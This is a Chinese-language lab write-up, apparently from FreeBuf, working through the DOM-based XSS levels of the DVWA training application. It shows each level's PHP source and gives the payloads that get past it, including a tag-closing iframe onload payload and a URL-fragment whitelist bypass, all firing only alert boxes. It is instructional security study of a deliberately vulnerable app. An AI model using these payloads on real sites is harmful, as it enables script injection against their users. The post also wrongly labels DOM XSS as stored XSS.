DVWA下的XSS通关(DOM型) – 作者:fu福lin林

知道这里的大佬很多,我这种小儿科难入法眼,我只是记录下自己的学习过程,编写自己的DVWA通关手册,最近很忙,但不能放弃我的目标,加油!

xss的介绍

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限…

DOM型XSS:Stored Cross Site Scripting

全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

1、Low (低难度的)

<?php

# No protections, anything goes

?>

可以发现并无任何保护措施,直接尝试注入

直接在URL处输入,default=<script>alert(/xss/)</script>

1603890025_5f996b694504103038376.png!small?1603889988060

1603890034_5f996b7240d01cb7892f8.png!small?1603889997015

就是这么简单!

2、Medium (中难度的)

<?php

// Is there any input?
if ( array_key_exists( “default”, $_GET ) && !is_null ($_GET[ ‘default’ ]) ) {
$default = $_GET[‘default’];

# Do not allow script tags
if (stripos ($default, “<script”) !== false) {
header (“location: ?default=English”);
exit;
}
}

?>

可以看到源码里面,针对<script>字段进行了过滤,略微加强了防护,但依旧可以攻破。

1603890138_5f996bdad65050782c0d6.png!small?1603890101589

1603890146_5f996be29507ca900e998.png!small?1603890109548

1603890153_5f996be916f19dc265826.png!small?1603890115769

失败了,说明<script>字段真的被过滤了,那么直接使用非<script>的

例如:闭合</option></select>标签构造xss事件

></option></select><iframe onload=alert(/xss/)>

1603890185_5f996c0952d54c8b444f9.png!small?1603890148040

3、High(高难度的)

<?php

// Is there any input?
if ( array_key_exists( “default”, $_GET ) && !is_null ($_GET[ ‘default’ ]) ) {

# White list the allowable languages
switch ($_GET[‘default’]) {
case “French”:
case “English”:
case “German”:
case “Spanish”:
# ok
break;
default:
header (“location: ?default=English”);
exit;
}
}

?>

查看服务器端源代码,可以发现default=只允许是French、English、German、Spanish、这几个通过。(采用了白名单过滤)

1603890239_5f996c3fe2be4fe695df5.png!small?1603890202645

失败,说明白名单确实起效了。此时,就需要有一个绕过报名单的攻击思路了。

default=English#</option></select><iframe onload=alert(/xss/)></option>

1603890263_5f996c57b599dda6272e3.png!small?1603890226434

总结一下,就算白名单限制,但是依旧有办法绕过。

4、Impossible(不可能的)

<?php

# Don’t need to do anything, protction handled on the client side

?>

impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面。

来源:freebuf.com 2020-10-28 21:11:02 by: fu福lin林

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论